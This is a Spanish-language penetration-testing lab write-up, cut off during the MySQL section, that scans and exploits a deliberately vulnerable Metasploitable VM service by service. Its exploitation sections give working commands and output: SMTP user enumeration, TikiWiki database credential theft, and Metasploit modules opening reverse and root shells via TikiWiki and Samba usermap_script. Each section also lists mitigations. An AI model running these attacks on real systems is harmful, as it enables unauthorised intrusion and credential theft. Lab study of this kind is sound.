msfadmin@metasploitable:~$ iscpu
-bash: iscpu: command not found
msfadmin@metasploitable:~$ sysinfo
The program 'sysinfo' is currently not installed.  You can install it by typing:
sudo apt-get install sysinfo
-bash: sysinfo: command not found
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ lshw
WARNING: you should run this program as super-user.
metasploitable
    description: Computer
    width: 32 bits
  *-core
       description: Motherboard
       physical id: 0
     *-memory
          description: System memory
          physical id: 0
          size: 512MiB
     *-cpu:0
          product: Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz
          vendor: Intel Corp.
```

Mitigación:
Las mejores recomendaciones al respecto son:

- Desactivar el telnet y utilizar SSH (es decir, no utilizarlo, básicamente).
- Si es necesario utilizar telnet, se debería filtrar mediante un cortafuegos, tener reglas específicas para permitir a los *hosts*/redes acceso al puerto 23 y después tener una regla general denegando acceso a este mismo puerto, y/o utilizar TCP_WRAPPERS.

Puerto 25 – smtp: Postfix smtp

Como ya hemos ido haciendo en los anteriores puertos, hacemos un escaneo con **nmap** del puerto 25:

nmap -p 25 -sV -A -T4 192.168.57.132

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 17:24 EST
Nmap scan report for 192.168.57.132
Host is up (0.00045s latency).

PORT   STATE SERVICE VERSION
25/tcp open  smtp    Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
|_ssl-date: 2023-03-07T17:38:40+00:00; -3d04h46m23s from scanner time.
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Host:  metasploitable.localdomain

Host script results:
|_clock-skew: -3d04h46m23s

TRACEROUTE
HOP RTT     ADDRESS
1   0.45 ms 192.168.57.132
```

Descripción:

SMTP son las siglas de **Simple Mail Transfer Protocol** y es un protocolo de red utilizado en el envío y recepción de correos electrónicos. Este protocolo, como cualquier otro, hace uso de un conjunto de reglas específicas que están diseñadas en un sólo ámbito, fuera de él no tienen utilizado alguna. SMTP está implementado de serie en los distintos servicios de correo electrónico y se debe implementar tanto a nivel de cliente como de servidor.

Postfix es un agente de transferencia de correo (MTA), una aplicación de código abierto que se utiliza para enviar y recibir correos electrónicos. También es una alternativa más ligera a la ejecución de un servidor SMTP completo que mantiene la funcionalidad necesaria o al ampliamente utilizado Sendmail.

Algunas de las vulnerabilidades más conocidas de este servicio son:

- El exploit *Shellshock*, que permite ejecutar comandos arbitrarios en el servidor a través de una variable de entorno maliciosa.
- La posibilidad de enumerar usuarios o probar credenciales usando herramientas como smtp-user-enum o nmap.
- Un error que permite causar una denegación de servicio al generar un gran número de errores SMTP, lo que hace que el registro de la sesión SMTP crezca demasiado.

Impacto:

Los *exploits* al puerto 25 que despliega el servicio de STMP con Postfix podrían tener un impacto muy negativo en la reputación y seguridad de cualquier organización. Algunos de estos riesgos podrían ser:

- Permitir el envío de *spam* o correos maliciosos desde el propio servidor.
- Exposición de información sensible o confidencial por transmitirse en texto plano.

- Se facilita el acceso a otros servicios o sistemas que usen las mismas credenciales de correo.
- Puede bloquear el envío de correos legítimos si el propio servidor es incluido en listas negras.

Explotación:

En este caso, vamos a sacar un listado de nombres de usuarios válidos de forma sencilla y rápida. Para ellos utilizaremos la herramienta **smtp-user-enum**.

Como no viene instalada por defecto, ejecutaremos los 2 siguientes comandos primeramente:

sudo apt update

sudo apt install smtp-user-enum

Una vez instalada, será tan fácil como ejecutar el siguiente comando:

smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.57.132 (donde **-M VRFY** se refiere al método a utilizar para adivinar nombres de usuario EXPN, VRFY o RCPT, **-U** se refiere al archivo de nombres de usuario para verificar a través del servicio SMTP y **-t** será el Host de servidor que ejecuta el servicio SMTP: Metasploitable 1 en este caso).

El *output* resultante será el listado de nombres de usuario.

```
 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/metasploit-framework/data/wordlists/unix_users.txt
Target count ............. 1
Username count ........... 168
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............

######## Scan started at Fri Mar 10 18:59:42 2023 #########
192.168.57.132: backup exists
192.168.57.132: bin exists
192.168.57.132: daemon exists
192.168.57.132: distccd exists
192.168.57.132: ftp exists
192.168.57.132: games exists
192.168.57.132: gnats exists
192.168.57.132: irc exists
192.168.57.132: libuuid exists
192.168.57.132: list exists
192.168.57.132: lp exists
192.168.57.132: mail exists
192.168.57.132: man exists
192.168.57.132: mysql exists
192.168.57.132: news exists
192.168.57.132: nobody exists
192.168.57.132: postfix exists
192.168.57.132: postgres exists
192.168.57.132: postmaster exists
192.168.57.132: proxy exists
192.168.57.132: root exists
192.168.57.132: ROOT exists
192.168.57.132: service exists
192.168.57.132: sync exists
192.168.57.132: sys exists
192.168.57.132: syslog exists
192.168.57.132: sshd exists
192.168.57.132: user exists
192.168.57.132: uucp exists
192.168.57.132: www-data exists
######## Scan completed at Fri Mar 10 18:59:44 2023 #########
30 results.

168 queries in 2 seconds (84.0 queries / sec)
```

Posteriormente, con la herramienta SSMTP se podrían enviar correos para cualquier *host* de destino al ID de correo objetivo.

Mitigación:

Algunas de las medidas que podemos tomar para prevenir estas vulnerabilidades son:

- Actualizar Postfix a la última versión disponible, que corrige muchos errores y vulnerabilidades.
- Usar autenticación SASL para restringir el acceso al servicio SMTP sólo a los usuarios autorizados.
- Usar SSL/TLS para cifrar la comunicación entre el cliente y el servidor SMTP.
- Deshabilitar las versiones antiguas de TLS que son vulnerables a varios ataques.
- Configurar el servicio de SMTP con Postfix para que sólo envíe correos desde el propio dominio y no los retransmita a otros.
- Y podría ser recomendable usar algún puerto alternativo al 25, como el 587 o el 465, que son más seguros y menos propensos al abuso.

Puerto 53 – domain: ISC BIND 9.4.2

```
┌──(root㉿kali)-[~]
└─# nmap -p 53 -sV -A -T4 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 20:52 EST
Nmap scan report for 192.168.57.132
Host is up (0.00042s latency).

PORT   STATE SERVICE VERSION
53/tcp open  domain  ISC BIND 9.4.2
| dns-nsid:
|_  bind.version: 9.4.2
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.42 ms 192.168.57.132
```

Descripción:

La forma completa de **BIND** es ***Berkeley Internet Name Domain*** y éste es uno de los servidores DNS más populares cuya función más destacable es la de conectar una dirección IP a un nombre de dominio.

Si el puerto 53 y el dominio ISC BIND 9.4.2 están abiertos, significa que serán vulnerables al "*Remote DNS Cache Poisoning*" y a "*Buffer Overflow*".

Se sabe de la existencia de una vulnerabilidad en este software que ha sido clasificada como crítica. El ataque que permitiría explotar esta vulnerabilidad consistiría en enviar consultas aleatorias de nombres de host al servidor DNS de destino junto con respuestas falsificadas. De este modo se podría llegar a suplantar un dominio.

Esta vulnerabilidad fue publicada el 15-01-2008 y fue indentificada como CVE-2008-0122.

Impacto:

Los *exploits* al puerto 53 que despliega el servicio de DNS con BIND 9.4.2 pueden tener un impacto negativo en la disponibilidad y la integridad de cualquier sistema. Algunos de los posibles impactos serían:

- Permisos no autorizados de acceso remoto al servidor DNS por uso de credenciales débiles o por empleo de ataques de fuerza bruta.
- Exposición de información sensible o confidencial por transmitirse también en texto plano.
- Posibilidad de sufrir ataques de denegación de servicio (DoS) o de envenenamiento de caché DNS.
- Bloqueo al acceso de los recursos del propio dominio si el servidor DNS ha sido comprometido o desactualizado.

Explotación:

Según la documentación observada, no se puede explotar sin escoger una web real como objetivo. Al no tener autorización para poder realizar tal acción, no se recomienda la explotación.

Aunque sí podemos analizar los siguientes módulos de Metasploit:

auxiliary/spoof/dns/bailiwicked_domain

searchsploit ISC BIND

```
msf6 > searchsploit ISC BIND
[*] exec: searchsploit ISC BIND

 Exploit Title                                                                                                  |  Path
 ISC BIND (Linux/BSD) - Remote Buffer Overflow (1)                                                              | linux/remote/19111.c
 ISC BIND (Multiple OSes) - Remote Buffer Overflow (2)                                                          | linux/remote/19112.c
 ISC BIND 4.9.7 -T1B - named SIGINT / SIGIOT Symlink                                                            | linux/local/19072.txt
 ISC BIND 4.9.7/8.x - Traffic Amplification and NS Route Discovery                                              | multiple/remote/19749.txt
 ISC BIND 8 - Remote Cache Poisoning (1)                                                                        | linux/remote/30535.pl
 ISC BIND 8 - Remote Cache Poisoning (2)                                                                        | linux/remote/30536.pl
 ISC BIND 8.1 - Host Remote Buffer Overflow                                                                     | unix/remote/20374.c
 ISC BIND 8.2.2 / IRIX 6.5.17 / Solaris 7.0 - NXT Overflow / Denial of Service                                  | unix/dos/19615.c
 ISC BIND 8.2.2-P5 - Denial of Service                                                                          | linux/dos/20388.txt
 ISC BIND 8.2.x - 'TSIG' Remote Stack Overflow (1)                                                              | linux/remote/277.c
 ISC BIND 8.2.x - 'TSIG' Remote Stack Overflow (2)                                                              | linux/remote/279.c
 ISC BIND 8.2.x - 'TSIG' Remote Stack Overflow (3)                                                              | solaris/remote/280.c
 ISC BIND 8.2.x - 'TSIG' Remote Stack Overflow (4)                                                              | linux/remote/282.c
 ISC BIND 8.3.x - OPT Record Large UDP Denial of Service                                                        | linux/dos/22011.c
 ISC BIND 9 - Denial of Service                                                                                 | multiple/dos/40453.py
 ISC BIND 9 - Remote Dynamic Update Message Denial of Service (PoC)                                             | multiple/dos/9300.c
 ISC BIND 9 - TKEY (PoC)                                                                                        | multiple/dos/37721.c
 ISC BIND 9 - TKEY Remote Denial of Service (PoC)                                                               | multiple/dos/37723.py
 Microsoft Windows Kernel - 'win32k!NtQueryCompositionSurfaceBinding' Stack Memory Disclosure                   | windows/dos/42750.cpp
 Zabbix 2.0.5 - Cleartext ldap_bind_Password Password Disclosure (Metasploit)                                   | php/webapps/36157.rb

Shellcodes: No Results
```

Mitigación:

Una simple actualización de la versión que se está usando, sería suficiente para prevenir esta vulnerabilidad.

Puerto 80 – http: Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)

```
┌──(root㉿kali)-[~]
└─# nmap -T4 -A -p 80 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 22:35 EST
Nmap scan report for 192.168.57.132
Host is up (0.00045s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
| http-methods:
|_  Potentially risky methods: TRACE
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.45 ms 192.168.57.132
```

Descripción:

HTTP (Protocolo de Transferencias de Hipertexto) es el protocolo de comunicación que permite las transferencias de información a través de archivos XML, HTML... en la World Wide Web.

El servidor HTTP Apache es un servidor web HTTP de código abierto, para plataformas Unix, Microsoft Windows, Macintosh y otras, que implementa el protocolo HTTP/1.1.

Apache es un servidor web HTTP de código abierto, para plataformas Unix (BSD, GNU/Linux, etc), Microsoft Windows, Macintosh y otras, que implementa el protocolo HTTP/1.1.

PHP es un lenguaje de programación interpretado del lado del servidor y de uso general que se adapta especialmente al desarrollo web. El código PHP suele ser procesado en un servidor web por un intérprete PHP implementado como un módulo, un daemon o como un ejecutable de interfaz de entrada común (**CGI**).

Impacto:

Respecto a la versión 2.2.8 de Apache podemos encontrar una vulnerabilidad que puede ser usada para provocar una DoS en el módulo mod_proxy_balancer (CVE-2008-2364), una ejecución remota de código en la aplicación Tikiwiki (CVE-2008-3681) – será la que explotaremos a continuación -, un Bypass de autenticación (CVE-2017-3167), entre otras.

La versión 5.2.4 de PHP presenta también varias vulnerabilidades conocidas: de inyección SQL, de desbordamiento de búfer que podría permitir la ejecución de código arbitrario, de divulgación de información, de falsificación de solicitudes en sitios cruzados, etc.

Por tanto, la gravedad de las mismas oscilará entre medio y crítico, por la posibilidad de truncar la confidencialidad de la información, la de sufrir una denegación de servicio, etc.

Explotación:

En esta ocasión, vamos a utilizar la herramienta **Nikto** (que viene por defecto ya instalada en Kali Linux y que es un software de código abierto escrito en lenguaje Perl que se utiliza para escanear un servidor web en busca de vulnerabilidades que puedan explotarse y comprometer al servidor).

comando: **nikto -h 192.168.57.132:80** (el host de metasploitable y el puerto que estamos escaneando)

```
┌──(root㉿kali)-[~]
└─# nikto -h 192.168.57.132:80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.57.132
+ Target Hostname:    192.168.57.132
+ Target Port:        80
+ Start Time:         2023-03-12 15:42:46 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
+ Server may leak inodes via ETags, header found with file /, inode: 67575, size: 45, mtime: Wed Mar 17 10:08:25 2010
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.2.4-2ubuntu5.10 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebd
d: index.html
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
+ /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ Cookie PHPSESSID created without the httponly flag
+ /tikiwiki/tiki-graph_formula.php: Output from the phpinfo() function was found.
+ OSVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=http://cirt.net/rfiinc.txt?: TikiWiki contains a vu
itrary PHP code.
+ 8725 requests: 1 error(s) and 18 item(s) reported on remote host
+ End Time:           2023-03-12 15:46:18 (GMT-4) (212 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

Podemos observar un resultado interesante: *OSVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=http://cirt.net/rfiinc.txt?:* ***TikiWiki contains a vulnerability which allows remote attackers to execute arbitrary PHP code***.

Vamos a buscar en las librerías de Metasploit si hay algún módulo relacionado con **TikiWiki**

(**Tiki CMS/Groupware** o **TikiWiki** es un sistema de gestión de contenidos de índole colabotativa fácil de configurar y personalizar, diseñado para crear portales, sitios comunitarios, intranets y aplicaciones web en general).

Encontramos y vamos a usar el siguente módulo: **auxiliary/admin/tikiwiki/tikidblib**

Tras establecer el *host* de la máquina objetivo y lanzarlo, obtendremos un nombre de usuario y su contraseña:

```
msf6 auxiliary(admin/tikiwiki/tikidblib) > exploit
[*] Running module against 192.168.57.132

[*] Establishing a connection to the target ...
[*] Get informations about database ...
[*] Install path : /var/www/tikiwiki/lib/tikidblib.php
[*] DB type      : mysql
[*] DB name      : tikiwiki195
[*] DB host      : localhost
[*] DB user      : root
[*] DB password  : root
[*] Auxiliary module execution completed
```

Usurario: root; contraseña: root

Además, podemos seleccionar el *exploit* siguiente: **exploit/unix/webapp/tikiwiki_graph_formula_exec** que nos permitirá la ejecución remota de código, mediante conexión *meterpreter*.

Estableceremos el *host* objetivo y lanzamos el *exploit*, abriéndose una consola:

```
msf6 exploit(unix/webapp/tikiwiki_graph_formula_exec) > exploit

[*] Started reverse TCP handler on 192.168.57.130:4444
[*] Attempting to obtain database credentials...
[*] No response from the server
[*] Attempting to execute our payload...
[*] Sending stage (39927 bytes) to 192.168.57.132
[*] Meterpreter session 1 opened (192.168.57.130:4444 → 192.168.5

meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr
Meterpreter : php/linux
meterpreter > id
[-] Unknown command: id
meterpreter > uname -a
[-] Unknown command: uname
meterpreter > help

Core Commands
=============
```

```
meterpreter > ps

Process List
============

PID   Name                 User    Path
---   ----                 ----    ----
1     /sbin/init           root    /sbin/init
2     [kthreadd]           root    [kthreadd]
3     [migration/0]        root    [migration/0]
4     [ksoftirqd/0]        root    [ksoftirqd/0]
5     [watchdog/0]         root    [watchdog/0]
6     [migration/1]        root    [migration/1]
7     [ksoftirqd/1]        root    [ksoftirqd/1]
8     [watchdog/1]         root    [watchdog/1]
9     [events/0]           root    [events/0]
10    [events/1]           root    [events/1]
11    [khelper]            root    [khelper]
46    [kblockd/0]          root    [kblockd/0]
47    [kblockd/1]          root    [kblockd/1]
50    [kacpid]             root    [kacpid]
51    [kacpi_notify]       root    [kacpi_notify]
181   [kseriod]            root    [kseriod]
225   [pdflush]            root    [pdflush]
226   [pdflush]            root    [pdflush]
227   [kswapd0]            root    [kswapd0]
269   [aio/0]              root    [aio/0]
270   [aio/1]              root    [aio/1]
1305  [ksnapd]             root    [ksnapd]
1518  [ata/0]              root    [ata/0]
1523  [ata/1]              root    [ata/1]
1530  [ata_aux]            root    [ata_aux]
1578  [ksuspend_usbd]      root    [ksuspend_usbd]
1584  [khubd]              root    [khubd]
2431  [scsi_eh_0]          root    [scsi_eh_0]
2610  [scsi_eh_1]          root    [scsi_eh_1]
2613  [scsi_eh_2]          root    [scsi_eh_2]
2827  [kjournald]          root    [kjournald]
2984  /sbin/udevd          root    /sbin/udevd --daemon
3509  [kgameportd]         root    [kgameportd]
3518  [kpsmoused]          root    [kpsmoused]
4558  dhclient3            dhcp    dhclient3 -e IF_METRI
4625  [kjournald]          root    [kjournald]
```

Como ya hemos visto en otras vulnerabilidades, mediante este proceso estamos accediendo a información variada que pone en riesgo la confidencialidad y seguridad de todos los datos del sistema.

Mitigación:

Como suele ser habitual, la actualización a la última versión de Apache (2.5.x) solucionará prácticamente todas las vulnerabilidades reportadas anteriormente del servidor Apache.

Puerto 139 y 445 - netbios-ssn : Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

```
┌──(root㉿kali)-[~]
└─# nmap -p 139,445 -sV -A -T4 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 12:15 EST
Nmap scan report for 192.168.57.132
Host is up (0.00048s latency).

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Host script results:
|_clock-skew: mean: 2h30m02s, deviation: 3h32m07s, median: 2s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2023-03-11T12:15:37-05:00

TRACEROUTE
HOP RTT     ADDRESS
1   0.48 ms 192.168.57.132
```

Descripción:

NetBIOS (*Network Basic Input/Output System*) es una especificación de interfaz para acceso a servicios de red, es decir, una capa de software desarrollado para enlazar un sistema operativo de red con *hardware* específico.

Permite a las aplicaciones "hablar" con la red. Su intención es conseguir aislar los programas de aplicación de cualquier tipo de dependencia del *hardware*. También evitar que los desarrolladores de software tengan que desarrollar rutinas de recuperación ante ante errores de enrutamiento o direccionamiento de mensajes a bajo nivel.

En una red local con soporte NetBIOS, las computadoras son conocidas e identificadas con un nombre. Cada computadora de la red tiene un único nombre.

Samba es un conjunto de software de interoperabilidad estándar integrado en Windows, una reimplementación del protocolo de red de bloque de mensajes de servidor (SMB) para servicios de archivo e impresión. Se ejecuta en la mayoría de los sistemas Unix y similares, como los sistemas Linux y MacOS, entre otras versiones y sistemas operativos que utilizan el protocolo SMB/*Common Internet File System* (CIFS). Esto permite a los administradores de red configurar, integrar y establecer el equipo como controlador de dominio (DC) o miembro del dominio, y comunicarse con los clientes basados en Windows.

Por último, **SMB** (*Server Message Block*) es un protocolo de red que permite compartir archivos, impresoras, etc. entre nodos de una red de computadoras que usan el sistema operativo Microsoft Windows. Este protocolo pertenece a la capa de aplicación en el modelo TCP/IP.

La vulnerabilidad más destacable, entre otras que han sido reportadas, puede ser la **CVE-2007-2447**. Ésta permite a los atacantes remotos ejecutar código arbitrario en las instalaciones afectadas de Samba. La brecha específica existe en el análisis de los metadatos de EA en el daemon del servidor SMBD al abrir un archivo. Un atacante puede abusar de esta vulnerabilidad para ejecutar código en el contexto raíz, incluso sin autenticación. Lo veremos en el apartado de explotación, un poco más adelante.

Impacto:

La vulnerabilidad descrita en el párrafo anterior permite acceder a una *shell* con permisos de *root*, por tanto, es de carácter crítico. El atacante puede ejecutar comandos remotos y acceder a directorios, información guardada en el sistema, borrar ficheros, crear nuevos con contenido malicioso, etc.

Explotación:

(El siguiente procedimiento es válido tanto para el puerto 139 como para el 445).

La explotación se puede realizar de forma más automatizada mediante el *Framework* Metasploit y el uso del módulo **exploit/multi/samba/usermap_script**.

```
Description:
  This module exploits a command execution vulnerability in Samba
  versions 3.0.20 through 3.0.25rc3 when using the non-default
  "username map script" configuration option. By specifying a username
  containing shell meta characters, attackers can execute arbitrary
  commands. No authentication is needed to exploit this vulnerability
  since this option is used to map usernames prior to authentication!
```

Para ello:

abrimos Metasploit con **msfconsole**

Buscamos el módulo correspondiente con **search samba 3.0.20**

use exploit/multi/samba/usermap_script

Establecemos el host al que vamos a conectarnos/atacar con **set RHOST 192.168.57.132**

run

A partir de aquí ya tenemos acceso a una *shell* remota que nos permitirá lanzar varios comando con permisos de *root* o *admin* sin habernos tenido que autenticar previamente.

```
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.57.130:4444
[*] Command shell session 1 opened (192.168.57.130:4444

pwd
/
sysinfo
/bin/sh: sysinfo: not found
id
uid=0(root) gid=0(root)
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd tmp
ls
5461.jsvc_up
xbdpel
mkdir Hola
```

```
msfadmin@metasploitable:/$ cd tmp
msfadmin@metasploitable:/tmp$ ls
5461.jsvc_up  Hola  xbdpel
msfadmin@metasploitable:/tmp$
msfadmin@metasploitable:/tmp$ _
```

Se puede apreciar como se ha creado el directorio ***Hola*** dentro de la carpeta **tmp**.

Mitigación:

El proveedor oficial recomienda actualizar Samba a las últimas versiones disponibles, puesto que ya han incorporado varios parches que solucionan ésta y otras vulnerabilidad testadas.

Puerto 3306 – mysql : MySQL 5.0.51a – 3ubuntu5

```
┌──(root㉿kali)-[~]
└─# nmap -p 3306 -sV -A -T4 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 13:17 EST
Nmap scan report for 192.168.57.132
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL 5.0.51a-3ubuntu5
| mysql-info:
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, ConnectWithDatabase, SupportsCompression, SwitchToSSLAfterHandshake,
|   Status: Autocommit
|_  Salt: FBXt`bJ.CGzTq]_F|bUa
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 192.168.57.132
```

Descripción:

MySQL es un sistema de gestión de bases de datos relacional desarrollado bajo licencia dual (licencia pública general/licencia comercial) por Oracle Corporation y está considerada como la base de datos de código abierto más popular del mundo, junto a Oracle y Microsoft SQL Server, todo para entornos de desarrollo web. Por tanto, en prácticas de ciberseguridad es muy frecuente encontrarse sistemas web que incorporen MySQL.

Las vulnerabilidades reportadas más destacadas son escalada de privilegios de *root*, ejecución de código arbitrario, uso de credenciales con un nivel de seguridad muy bajo o inexistente, etc. (aquí intentaremos explotar esta última vulnerabilidad).

Impacto:

Estamos ante una vulnerabilidad de criticidad alta, puesto que el acceso con permisos de *root* es realmente vulnerable a un ataque de fuerza bruta. El atacante se hará fácilmente con el acceso de las bases de datos del sistema objetivo y dispondrá prácticamente de toda la información sensible que en ellas haya, podrá modificar o eliminar contenido importante, añadir datos falsos, etc.

Además, el hecho de conseguir credenciales nos permitiría fácilmente abrir remotamente una *shell* y poder ejecutar los comandos que quisiéramos, como ya hemos visto en otro tipo de vulnerabilidades anteriores.

Explotación:

Comenzaremos abriendo Metasploit con **msfconsole**.

Buscaremos qué módulos nos aparecen en el *framework* relacinados con MySQL:

```
msf6 > search mysql

Matching Modules
================

  #   Name                                                      Disclosure Date  Rank       Check  Description
  -   ----                                                      ---------------  ----       -----  -----------
  0   exploit/windows/http/advantech_iview_networkservlet_cmd_inject  2022-06-28       excellent  Yes    Advantech iView NetworkServlet Comm
  1   auxiliary/server/capture/mysql                                                     normal     No     Authentication Capture: MySQL
  2   exploit/windows/http/cayin_xpost_sql_rce                  2020-06-04       excellent  Yes    Cayin xPost wayfinder_seqid SQLi to
  3   auxiliary/gather/joomla_weblinks_sqli                     2014-03-02       normal     Yes    Joomla weblinks-categories Unauthe
  4   exploit/unix/webapp/kimai_sqli                            2013-05-21       average    Yes    Kimai v0.9.2 'db_restore.php' SQL I
  5   exploit/linux/http/librenms_collectd_cmd_inject           2019-07-15       excellent  Yes    LibreNMS Collectd Command Injectio
  6   post/linux/gather/enum_configs                                               normal     No     Linux Gather Configurations
  7   post/linux/gather/enum_users_history                                         normal     No     Linux Gather User History
  8   auxiliary/scanner/mysql/mysql_writable_dirs                                  normal     No     MYSQL Directory Write Test
  9   auxiliary/scanner/mysql/mysql_file_enum                                      normal     No     MYSQL File/Directory Enumerator
  10  auxiliary/scanner/mysql/mysql_hashdump                                       normal     No     MYSQL Password Hashdump
  11  auxiliary/scanner/mysql/mysql_schemadump                                     normal     No     MYSQL Schema Dump
  12  exploit/multi/http/manage_engine_dc_pmp_sqli              2014-06-08       excellent  Yes    ManageEngine Desktop Central / Pas
  13  auxiliary/admin/http/manageengine_pmp_privesc             2014-11-08       normal     Yes    ManageEngine Password Manager SQLA
  14  post/multi/manage/dbvis_add_db_admin                                         normal     No     Multi Manage DbVisualizer Add Db A
  15  auxiliary/scanner/mysql/mysql_authbypass_hashdump         2012-06-09       normal     No     MYSQL Authentication Bypass Passwo
  16  auxiliary/admin/mysql/mysql_enum                                             normal     No     MYSQL Enumeration Module
  17  auxiliary/scanner/mysql/mysql_login                                          normal     No     MYSQL Login Utility
  18  auxiliary/admin/mysql/mysql_sql                                              normal     No     MYSQL SQL Generic Query
  19  auxiliary/scanner/mysql/mysql_version                                        normal     No     MYSQL Server Version Enumeration
  20  exploit/linux/mysql/mysql_yassl_getname                   2010-01-25       good       No     MYSQL yaSSL CertDecoder::GetName B
  21  exploit/linux/mysql/mysql_yassl_hello                     2008-01-04       good       No     MYSQL yaSSL SSL Hello Message Buff
  22  exploit/windows/mysql/mysql_yassl_hello                   2008-01-04       average    No     MYSQL yaSSL SSL Hello Message Buff
